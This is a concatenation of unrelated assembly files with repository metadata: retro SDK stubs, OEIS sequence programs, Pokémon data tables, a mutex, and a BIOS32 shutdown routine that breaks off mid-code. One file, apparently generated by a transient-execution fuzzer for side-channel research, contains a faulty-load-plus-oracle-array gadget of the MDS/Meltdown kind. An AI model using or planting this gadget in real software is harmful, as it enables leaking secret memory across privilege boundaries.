f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_driver PUBLIC sd_clock EXTERN asm_sd_clock ;Set the CSIO clock rate either to maximum or between 400kHz and 100kHz ;This will usually be CNTR_SS_DIV_160, which gives 230kHz to 115kHz ; ;input (H)L = clock divisor (typically CNTR_SS_DIV_160 or CNTR_SS_DIV_20) ;Uses AF,L defc sd_clock = asm_sd_clock
22.466667
77
0.753709
1f1d160f22913e246450712f8991288a279cdcd7
69
asm
Assembly
tests/test build script and options/opt raw/raw_to_file.asm
cizo2000/sjasmplus
615d7c0e09a44aa2a923095fc9ed6dca6ecae4a4
[ "BSD-3-Clause" ]
220
2016-10-22T19:44:39.000Z
2022-03-29T20:57:04.000Z
tests/test build script and options/opt raw/raw_to_file.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
153
2018-05-07T10:31:23.000Z
2022-03-30T04:35:59.000Z
tests/test build script and options/opt raw/raw_to_file.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
51
2016-05-12T21:27:36.000Z
2022-03-27T15:16:16.000Z
DB "RAW only\n" OUTPUT "raw_to_file.tap" DB "fake TAP content\n"
17.25
26
0.681159
a61f072ec52c5e84063278427d9b171b0dc18eaf
6,517
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1193.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1193.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1193.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r15 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_A_ht+0x2821, %r15 nop nop nop and %r11, %r11 mov (%r15), %r12w nop nop nop nop dec %r8 lea addresses_A_ht+0xc51, %r13 nop nop nop dec %r11 mov (%r13), %edi nop nop nop dec %r15 lea addresses_normal_ht+0x7f23, %r12 nop and $32043, %r11 mov $0x6162636465666768, %r8 movq %r8, (%r12) nop nop nop nop cmp %r13, %r13 lea addresses_normal_ht+0x1f51, %r8 nop cmp $11204, %r9 mov (%r8), %r12w nop nop nop nop xor $20258, %r8 lea addresses_UC_ht+0x68e7, %rsi lea addresses_D_ht+0xd971, %rdi nop nop nop nop nop lfence mov $59, %rcx rep movsq nop nop nop dec %r8 lea addresses_WC_ht+0x1b353, %r11 nop nop inc %r8 movl $0x61626364, (%r11) nop cmp $7166, %rsi lea addresses_UC_ht+0x3f51, %r9 clflush (%r9) nop nop nop add %rdi, %rdi movb (%r9), %r8b nop nop nop nop nop and $37976, %rcx lea addresses_normal_ht+0x10951, %rsi lea addresses_A_ht+0xbd51, %rdi nop nop dec %r11 mov $110, %rcx rep movsq nop nop nop nop sub $54516, %rdi lea addresses_D_ht+0x17173, %r11 nop inc %rdi movl $0x61626364, (%r11) nop nop nop add $14255, %rcx pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %rbp push %rbx push %rdi push %rsi // Store lea addresses_PSE+0x1b21, %rsi nop inc %rbp movb $0x51, (%rsi) nop nop dec %rbx // Store lea addresses_A+0x1586d, %rsi nop nop nop nop cmp $23305, %r14 movb $0x51, (%rsi) inc %rdi // Faulty Load lea addresses_WC+0x9751, %rbx nop inc %rdi movb (%rbx), %r14b lea oracles, %rsi and $0xff, %r14 shlq $12, %r14 mov (%rsi,%r14,1), %r14 pop %rsi pop %rdi pop %rbx pop %rbp pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.227027
2,999
0.656284
9a6a887db65e5414ccc186c95a0915c63fe084f7
599
asm
Assembly
oeis/158/A158588.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/158/A158588.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/158/A158588.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A158588: a(n) = 34*n^2 - 1. ; Submitted by Christian Krause ; 33,135,305,543,849,1223,1665,2175,2753,3399,4113,4895,5745,6663,7649,8703,9825,11015,12273,13599,14993,16455,17985,19583,21249,22983,24785,26655,28593,30599,32673,34815,37025,39303,41649,44063,46545,49095,51713,54399,57153,59975,62865,65823,68849,71943,75105,78335,81633,84999,88433,91935,95505,99143,102849,106623,110465,114375,118353,122399,126513,130695,134945,139263,143649,148103,152625,157215,161873,166599,171393,176255,181185,186183,191249,196383,201585,206855,212193,217599,223073,228615 add $0,1 pow $0,2 mul $0,34 sub $0,1
66.555556
498
0.794658
8ad8eaa0c2764ff6612b0ddec66d31534c7e539c
433
asm
Assembly
oeis/028/A028086.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/028/A028086.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/028/A028086.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A028086: Expansion of 1/((1-3x)(1-6x)(1-10x)(1-11x)). ; Submitted by Jon Maiga ; 1,30,583,9348,134689,1815498,23402251,292300176,3567408757,42782700246,506142615199,5923623309084,68724754852105,791647407688674,9065029251275827,103285339786658472,1171844560056255133 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 mul $1,6 sub $2,1 sub $0,$2 seq $0,18206 ; Expansion of 1/((1-3x)(1-10x)(1-11x)). add $1,$0 lpe mov $0,$1
25.470588
186
0.702079
af25d89177383d3a59573a0eacacf90860cb6c0b
800
asm
Assembly
oeis/007/A007798.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/007/A007798.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/007/A007798.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A007798: Expected number of random moves in Tower of Hanoi problem with n disks starting with a randomly chosen position and ending at a position with all disks on the same peg. ; Submitted by Jamie Morken(s2.) ; 0,0,2,18,116,660,3542,18438,94376,478440,2411882,12118458,60769436,304378620,1523487422,7622220078,38125449296,190670293200,953480606162,4767790451298,23840114517956,119204059374180,596030757224102,2980185167180118,14901019979079416,74505382324933560,372527758913277242,1862641336432214538,9313214307758557676,46566094415585243340,232830540708303581582,1164152909432650002558,5820765164836646296736,29103827677203420335520,145519143945077668233122,727595736402570040832178,3637978732044395303160596 mov $1,3 pow $1,$0 mul $1,2 sub $1,2 mov $2,5 pow $2,$0 sub $2,$1 mov $0,$2 div $0,4
57.142857
500
0.84375
97b67329527bf549ab33bde4ac2650db2be7f7e1
387
asm
Assembly
Arquitetura de Computadores/Atividade 03/Ex03.asm
antuniooh/ExercisesFEI
fea8855178e098713173aceee0f0616a69c438e4
[ "MIT" ]
1
2021-05-05T22:55:03.000Z
2021-05-05T22:55:03.000Z
Arquitetura de Computadores/Atividade 03/Ex03.asm
antuniooh/ExercisesFEI
fea8855178e098713173aceee0f0616a69c438e4
[ "MIT" ]
null
null
null
Arquitetura de Computadores/Atividade 03/Ex03.asm
antuniooh/ExercisesFEI
fea8855178e098713173aceee0f0616a69c438e4
[ "MIT" ]
1
2021-11-24T06:55:09.000Z
2021-11-24T06:55:09.000Z
;ex 03 MOV R3, #08h MOV R4, #03h CLR A mov A, R4 CLR C SUBB A, R3 ;r4 - r3 = 0, logo r4 >= r3 ;r4 - r3 = 1, logo r4 < r3 ;r6 menor ;r5 maior JNC ROTR4MAIOR; c ==0 ROTR3MAIOR: CLR A MOV A, R3 MOV R5, A CLR A MOV A, R4 MOV R6, A ACALL ROT1 JC ROTR3MAIOR; c == 1 ROTR4MAIOR: CLR A MOV A, R4 MOV R5, A CLR A MOV A, R3 MOV R6, A ACALL ROT1 ROT1: SJMP $
10.75
28
0.568475
0ccbdec806e6daaa0b2eb42d865d7aee5933058e
185
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/display/c/sdcc_iy/zx_aaddr2saddr_fastcall.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zx/display/c/sdcc_iy/zx_aaddr2saddr_fastcall.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zx/display/c/sdcc_iy/zx_aaddr2saddr_fastcall.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; void *zx_aaddr2saddr_fastcall(void *attraddr) SECTION code_arch PUBLIC _zx_aaddr2saddr_fastcall _zx_aaddr2saddr_fastcall: INCLUDE "arch/zx/display/z80/asm_zx_aaddr2saddr.asm"
16.818182
55
0.827027
57b7182c443e3419210229628c66115d8466253f
1,051
asm
Assembly
data/pokemon/base_stats/charizard.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/pokemon/base_stats/charizard.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/pokemon/base_stats/charizard.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
2
2021-08-11T19:47:07.000Z
2022-01-01T07:07:56.000Z
db 0 ; species ID placeholder db 78, 84, 78, 100, 109, 85 ; hp atk def spd sat sdf db FIRE, FLYING ; type db 45 ; catch rate db 209 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F12_5 ; gender ratio db 20 ; step cycles to hatch INCBIN "gfx/pokemon/charizard/front.dimensions" db GROWTH_MEDIUM_SLOW ; growth rate dn EGG_MONSTER, EGG_DRAGON ; egg groups db 70 ; happiness ; tm/hm learnset tmhm FOCUS_PUNCH, DRAGON_CLAW, ROAR, TOXIC, HIDDEN_POWER, SUNNY_DAY, HYPER_BEAM, PROTECT, FRUSTRATION, SOLARBEAM, IRON_TAIL, EARTHQUAKE, RETURN, DIG, BRICK_BREAK, DOUBLE_TEAM, FLAMETHROWER, FIRE_BLAST, ROCK_TOMB, AERIAL_ACE, FACADE, SECRET_POWER, REST, ATTRACT, STEEL_WING, OVERHEAT, ROOST, FOCUS_BLAST, FLING, ENDURE, DRAGON_PULSE, WILL_O_WISP, SHADOW_CLAW, GIGA_IMPACT, SWORDS_DANCE, CAPTIVATE, ROCK_SLIDE, SLEEP_TALK, NATURAL_GIFT, SWAGGER, SUBSTITUTE, CUT, FLY, STRENGTH, DEFOG, ROCK_SMASH, AIR_CUTTER, BLAST_BURN, FIRE_PUNCH, FURY_CUTTER, HEAT_WAVE, MUD_SLAP, OMINOUS_WIND, OUTRAGE, SNORE, SWIFT, THUNDERPUNCH, TWISTER ; end
52.55
625
0.763083
09222bf73adf737c2920e2190f37767c11cc344b
193
asm
Assembly
platform/osal/winx64_src/mutex.asm
AarhusCrypto/PASTA
099b615bf523f24fa08c04b03ef9e96a2996fc05
[ "MIT" ]
null
null
null
platform/osal/winx64_src/mutex.asm
AarhusCrypto/PASTA
099b615bf523f24fa08c04b03ef9e96a2996fc05
[ "MIT" ]
null
null
null
platform/osal/winx64_src/mutex.asm
AarhusCrypto/PASTA
099b615bf523f24fa08c04b03ef9e96a2996fc05
[ "MIT" ]
null
null
null
; Hand written assembly for Windows x64 .CODE Mutex_lock PROC ; RCX has the argument begin: mov rax, 0 mov rbx, 1 lock cmpxchg [rcx],rbx or rax,rax jnz begin ret Mutex_lock ENDP end
12.866667
40
0.720207
a6aae3156dfa4e95ae5161a42eece19368d24ed5
1,041
asm
Assembly
constants/serial_constants.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
constants/serial_constants.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
constants/serial_constants.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
ESTABLISH_CONNECTION_WITH_INTERNAL_CLOCK EQU $01 ESTABLISH_CONNECTION_WITH_EXTERNAL_CLOCK EQU $02 USING_EXTERNAL_CLOCK EQU $01 USING_INTERNAL_CLOCK EQU $02 CONNECTION_NOT_ESTABLISHED EQU $ff ; signals the start of an array of bytes transferred over the link cable SERIAL_PREAMBLE_BYTE EQU $FD ; this byte is used when there is no data to send SERIAL_NO_DATA_BYTE EQU $FE ; signals the end of one part of a patch list (there are two parts) for player/enemy party data SERIAL_PATCH_LIST_PART_TERMINATOR EQU $FF LINK_STATE_NONE EQU $00 ; not using link LINK_STATE_IN_CABLE_CLUB EQU $01 ; in a cable club room (Colosseum or Trade Centre) LINK_STATE_START_TRADE EQU $02 ; pre-trade selection screen initialisation LINK_STATE_START_BATTLE EQU $03 ; pre-battle initialisation LINK_STATE_BATTLING EQU $04 ; in a link battle LINK_STATE_RESET EQU $05 ; reset game (unused) LINK_STATE_TRADING EQU $32 ; in a link trade LINKBATTLE_RUN EQU $F LINKBATTLE_STRUGGLE EQU $E LINKBATTLE_NO_ACTION EQU $D
37.178571
95
0.78098
4103f46dbfe6d92a5b08fcb02b2c25ae6e6523f0
311
asm
Assembly
programs/oeis/021/A021356.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/021/A021356.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/021/A021356.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A021356: Decimal expansion of 1/352. ; 0,0,2,8,4,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0,9,0 add $0,1 mov $1,10 pow $1,$0 mul $1,2 div $1,704 mod $1,10 mov $0,$1
28.272727
201
0.540193
516b1855bb88899d460b92861021b172a83d44c9
490
asm
Assembly
programs/oeis/336/A336288.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/336/A336288.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/336/A336288.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A336288: Numbers of squares formed by this procedure on n-th step: Step 1, draw a unit square. Step n, draw a unit square with center in every intersection of lines of the figure in step n-1. ; 1,10,43,116,245,446,735,1128,1641,2290,3091,4060,5213,6566,8135,9936,11985,14298,16891,19780,22981,26510,30383,34616,39225,44226,49635,55468,61741,68470,75671,83360,91553,100266,109515,119316,129685,140638,152191,164360,177161 mov $1,1 add $1,$0 add $1,$0 pow $1,3 add $1,$0 div $1,3 add $1,1
44.545455
228
0.753061
175d59afff4342a7f0a1aaf37dd6ca20e336d973
1,531
asm
Assembly
gfx/tilesets/kanto_palette_map.asm
TastySnax12/pokecrystal16-493-plus
9de36c8803c9bdf4b8564ed547f988b0b66f0c41
[ "blessing" ]
2
2021-07-31T07:05:06.000Z
2021-10-16T03:32:26.000Z
gfx/tilesets/kanto_palette_map.asm
TastySnax12/pokecrystal16-493-plus
9de36c8803c9bdf4b8564ed547f988b0b66f0c41
[ "blessing" ]
null
null
null
gfx/tilesets/kanto_palette_map.asm
TastySnax12/pokecrystal16-493-plus
9de36c8803c9bdf4b8564ed547f988b0b66f0c41
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
tilepal 0, GRAY, BROWN, BROWN, RED, BROWN, ROOF, ROOF, ROOF tilepal 0, ROOF, ROOF, YELLOW, YELLOW, YELLOW, GRAY, BROWN, GRAY tilepal 0, GRAY, BROWN, ROOF, BROWN, WATER, ROOF, ROOF, ROOF tilepal 0, ROOF, ROOF, GRAY, BROWN, BROWN, GRAY, BROWN, GRAY tilepal 0, GRAY, GRAY, GRAY, GRAY, BROWN, ROOF, ROOF, BROWN tilepal 0, ROOF, ROOF, GRAY, GRAY, GREEN, GREEN, GREEN, GRAY tilepal 0, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN tilepal 0, ROOF, GRAY, GRAY, GRAY, GRAY, GREEN, GREEN, GRAY tilepal 0, GREEN, GREEN, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN tilepal 0, BROWN, BROWN, GRAY, BROWN, GRAY, GRAY, GRAY, RED tilepal 0, GREEN, GREEN, GREEN, ROOF, BROWN, BROWN, BROWN, BROWN tilepal 0, BROWN, BROWN, GRAY, BROWN, GRAY, GRAY, GRAY, GRAY rept 32 db $ff endr tilepal 1, GRAY, BROWN, BROWN, RED, BROWN, ROOF, ROOF, ROOF tilepal 1, ROOF, ROOF, YELLOW, YELLOW, YELLOW, GRAY, BROWN, GRAY tilepal 1, GRAY, BROWN, ROOF, BROWN, WATER, ROOF, ROOF, ROOF tilepal 1, ROOF, ROOF, GRAY, BROWN, BROWN, GRAY, BROWN, GRAY tilepal 1, GRAY, GRAY, GRAY, GRAY, BROWN, ROOF, ROOF, BROWN tilepal 1, ROOF, ROOF, GRAY, GRAY, GREEN, GREEN, GREEN, GRAY tilepal 1, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN, BROWN tilepal 1, ROOF, GRAY, GRAY, GRAY, GRAY, GREEN, GREEN, GRAY tilepal 1, GREEN, GREEN, GRAY, GRAY, GRAY, GRAY, BROWN, BROWN tilepal 1, BROWN, BROWN, GRAY, BROWN, GRAY, GRAY, GRAY, RED tilepal 1, GREEN, GREEN, GREEN, ROOF, BROWN, BROWN, BROWN, BROWN tilepal 1, BROWN, BROWN, GRAY, BROWN, GRAY, GRAY, GRAY, GRAY
51.033333
66
0.696277
abf45848774176a41adba560795a1143a43128d5
4,716
asm
Assembly
kernel/arch/i386/bios32.asm
squirrelcom/tritium-os
88f69e31de387e3b8e3d61b73de6a07b80ff91bb
[ "MIT" ]
17
2020-08-26T07:59:05.000Z
2022-01-08T21:23:25.000Z
kernel/arch/i386/bios32.asm
squirrelcom/tritium-os
88f69e31de387e3b8e3d61b73de6a07b80ff91bb
[ "MIT" ]
2
2021-02-12T04:07:44.000Z
2021-02-17T19:00:51.000Z
kernel/arch/i386/bios32.asm
squirrelcom/tritium-os
88f69e31de387e3b8e3d61b73de6a07b80ff91bb
[ "MIT" ]
4
2021-06-25T17:13:59.000Z
2022-02-21T16:45:56.000Z
; BIOS32 function: ; Execute function in BIOS (see VESA32 in idt-asm.asm for VESA related bios functions) ; ; Inputs: ; al - Function ; other registers, vary ; ; Outputs: ; varies ; ; Note: you will most likely have to reload the PIT ; Macros to make it easier to access data and code copied to 0x7C00 %define INT32_LENGTH (_int32_end-_int32) %define FIXADDR(addr) (((addr)-_int32)+0x7C00) ; Macros for the storevars at 0x7C00 %define sv_bx FIXADDR(storevars.bx) %define sv_cx FIXADDR(storevars.cx) %define sv_dx FIXADDR(storevars.dx) %define sv_si FIXADDR(storevars.si) %define sv_di FIXADDR(storevars.di) %define sv_func FIXADDR(storevars.func) global bios32 bios32: cli ; Store registers so we can use them mov [storevars.func],ax mov [storevars.bx],bx mov [storevars.cx],cx mov [storevars.dx],dx mov [storevars.si],si mov [storevars.di],di ; Copy the _int32 function (et al) to 0x7C00 (below 1MiB) mov esi,_int32 mov edi,0x7C00 mov ecx,INT32_LENGTH cld rep movsb ; Relocate the stored variables to where the rest of the data is mov ax,[storevars.bx] mov [sv_bx],ax mov ax,[storevars.cx] mov [sv_cx],ax mov ax,[storevars.dx] mov [sv_dx],ax mov ax,[storevars.si] mov [sv_si],ax mov ax,[storevars.di] mov [sv_di],ax mov ax,[storevars.func] mov [sv_func],ax ; Jump to code under 1MiB so we can run in 16 bit mode jmp 0x00007C00 [BITS 32] _int32: ; Store any remaining registers so we don't mess anything up in C mov [store32.esp],esp mov [store32.ebp],ebp ; Store the cr3 in case the BIOS messes it up mov eax,cr3 mov [store32.cr3],eax ; Disable paging mov eax,cr0 and eax,0x7FFFFFFF mov cr0,eax ; Store existing GDTs and IDTs and load temporary ones sgdt [FIXADDR(gdt32)] sidt [FIXADDR(idt32)] lgdt [FIXADDR(gdt16)] lidt [FIXADDR(idt16)] ; Switch to 16 bit protected mode jmp word 0x08:FIXADDR(_intp16) [BITS 16] _intp16: ; Load all the segment registers with the data segment mov ax,0x10 mov ds,ax mov es,ax mov fs,ax mov gs,ax mov ss,ax ; Disable protected mode mov eax,cr0 and al, 0xFE mov cr0,eax ; Jump to realmode jmp word 0x0000:FIXADDR(_intr16) _intr16: ; Load all the data segments with 0 mov ax,0 mov ss,ax mov ds,ax mov es,ax mov fs,ax mov gs,ax ; Set a temporary stack mov sp,0x7B00 mov ax,[sv_func] cmp ax,0x1553 je .bios_shutdown jmp .fn_err .bios_shutdown: ; Connect to realmode BIOS APM interface (if not already) mov ax,0x5301 xor bx,bx mov dx,1 int 0x15 ; Set APM to version 1.2 (if not already) mov ax,0x530E xor bx,bx mov cx,0x102 int 0x15 ; Enable BIOS APM (if not already) mov ax, 0x5308 mov bx,1 mov cx,1 int 0x15 ; Use BIOS function 0x5307 to shut down the computer. ;mov ax,0x1000 ;mov ax,ss ;mov sp,0xf000 mov ax,0x5307 mov bx,1 mov cx,3 int 0x15 ; Just do a hlt. Interrupts are already disabled. Tell the user to power off their computer manually. hlt .fn_err: mov ax,0xFFFF ; 